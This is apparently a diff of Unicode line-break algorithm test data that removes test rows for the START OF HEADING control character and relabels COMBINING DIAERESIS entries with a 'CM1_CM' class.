-× 0001 × 0308 × 0001 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0001 × 000D ÷ # × [0.3] <START OF HEADING> (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0001 × 0020 × 000D ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0001 × 0308 × 000D ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0001 × 0308 × 0020 × 000D ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0001 × 0021 ÷ # × [0.3] <START OF HEADING> (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0001 × 0020 × 0021 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0001 × 0308 × 0021 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0001 × 0308 × 0020 × 0021 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0001 × 00A0 ÷ # × [0.3] <START OF HEADING> (CM) × [12.3] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0001 × 0020 ÷ 00A0 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0001 × 0308 × 00A0 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [12.3] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0001 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0001 × 0020 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0001 × 0308 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0001 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0001 × 0020 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0001 × 0308 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0001 × 05D0 ÷ # × [0.3] <START OF HEADING> (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0001 × 0020 ÷ 05D0 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0001 × 0308 × 05D0 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0001 × 002D ÷ # × [0.3] <START OF HEADING> (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0001 × 0020 ÷ 002D ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0001 × 0308 × 002D ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 002D ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0001 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0001 × 0020 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0001 × 0308 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 231A ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0001 × 2024 ÷ # × [0.3] <START OF HEADING> (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 0001 × 0020 ÷ 2024 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0001 × 0308 × 2024 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0001 × 002C ÷ # × [0.3] <START OF HEADING> (CM) × [13.04] COMMA (IS) ÷ [0.3]
-× 0001 × 0020 × 002C ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0001 × 0308 × 002C ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [13.04] COMMA (IS) ÷ [0.3]
-× 0001 × 0308 × 0020 × 002C ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0001 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0001 × 0020 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0001 × 0308 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0001 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0001 × 0020 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0001 × 0308 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0001 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0001 × 0020 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0001 × 0308 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0001 × 000A ÷ # × [0.3] <START OF HEADING> (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0001 × 0020 × 000A ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0001 × 0308 × 000A ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0001 × 0308 × 0020 × 000A ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0001 × 0085 ÷ # × [0.3] <START OF HEADING> (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0001 × 0020 × 0085 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0001 × 0308 × 0085 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0001 × 0308 × 0020 × 0085 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0001 × 17D6 ÷ # × [0.3] <START OF HEADING> (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0001 × 0020 ÷ 17D6 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0001 × 0308 × 17D6 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0001 × 0030 ÷ # × [0.3] <START OF HEADING> (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0001 × 0020 ÷ 0030 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0001 × 0308 × 0030 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0001 × 0028 ÷ # × [0.3] <START OF HEADING> (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0001 × 0020 ÷ 0028 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0001 × 0308 × 0028 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0001 ÷ 0025 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0001 × 0020 ÷ 0025 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0001 × 0308 ÷ 0025 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0001 ÷ 0024 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0001 × 0020 ÷ 0024 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0001 × 0308 ÷ 0024 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0001 × 0022 ÷ # × [0.3] <START OF HEADING> (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0001 × 0020 ÷ 0022 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0001 × 0308 × 0022 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0001 × 0020 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0001 × 0020 × 0020 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0001 × 0308 × 0020 × 0020 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0001 × 002F ÷ # × [0.3] <START OF HEADING> (CM) × [13.04] SOLIDUS (SY) ÷ [0.3]
-× 0001 × 0020 × 002F ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0001 × 0308 × 002F ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [13.04] SOLIDUS (SY) ÷ [0.3]
-× 0001 × 0308 × 0020 × 002F ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0001 × 2060 ÷ # × [0.3] <START OF HEADING> (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0001 × 0020 × 2060 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0001 × 0308 × 2060 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0001 × 0308 × 0020 × 2060 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0001 × 200B ÷ # × [0.3] <START OF HEADING> (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0001 × 0020 × 200B ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0001 × 0308 × 200B ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0001 × 0308 × 0020 × 200B ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0001 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0001 × 0020 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0001 × 0308 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0001 × 00A7 ÷ # × [0.3] <START OF HEADING> (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0001 × 0020 ÷ 00A7 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0001 × 0308 × 00A7 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0001 × 50005 ÷ # × [0.3] <START OF HEADING> (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0001 × 0020 ÷ 50005 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0001 × 0308 × 50005 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0001 × 0E01 ÷ # × [0.3] <START OF HEADING> (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0001 × 0020 ÷ 0E01 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0001 × 0308 × 0E01 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0001 × 3041 ÷ # × [0.3] <START OF HEADING> (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0001 × 0020 ÷ 3041 ÷ # × [0.3] <START OF HEADING> (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0001 × 0308 × 3041 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0001 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] <START OF HEADING> (CM) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0029 × 0308 × 3041 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0029 × 0308 × 0020 × 3041 ÷ # × [0.3] RIGHT PARENTHESIS (CP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [16.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 000D ÷ 0023 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] NUMBER SIGN (AL) ÷ [0.3]
× 000D ÷ 0020 ÷ 0023 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 000D ÷ 0308 × 0023 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 000D ÷ 0308 × 0023 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 000D ÷ 2014 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] EM DASH (B2) ÷ [0.3]
× 000D ÷ 0020 ÷ 2014 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 000D ÷ 0308 ÷ 2014 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 000D ÷ 0308 ÷ 2014 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 000D ÷ 0009 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 000D ÷ 0020 ÷ 0009 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 000D ÷ 0308 × 0009 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 000D ÷ 0308 × 0009 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 000D ÷ 00B4 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] ACUTE ACCENT (BB) ÷ [0.3]
× 000D ÷ 0020 ÷ 00B4 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 000D ÷ 0308 ÷ 00B4 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 000D ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 000D ÷ 0308 ÷ 00B4 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 000D ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 000D ÷ 000B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] <LINE TABULATION> (BK) ÷ [0.3]
× 000D ÷ 0020 × 000B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 000D ÷ 0308 × 000B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 000D ÷ 0308 × 0020 × 000B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 000D ÷ 0308 × 000B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 000D ÷ 0308 × 0020 × 000B ÷ # × [0.3] <CARRIAGE RETURN (CR)> (CR) ÷ [5.02] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
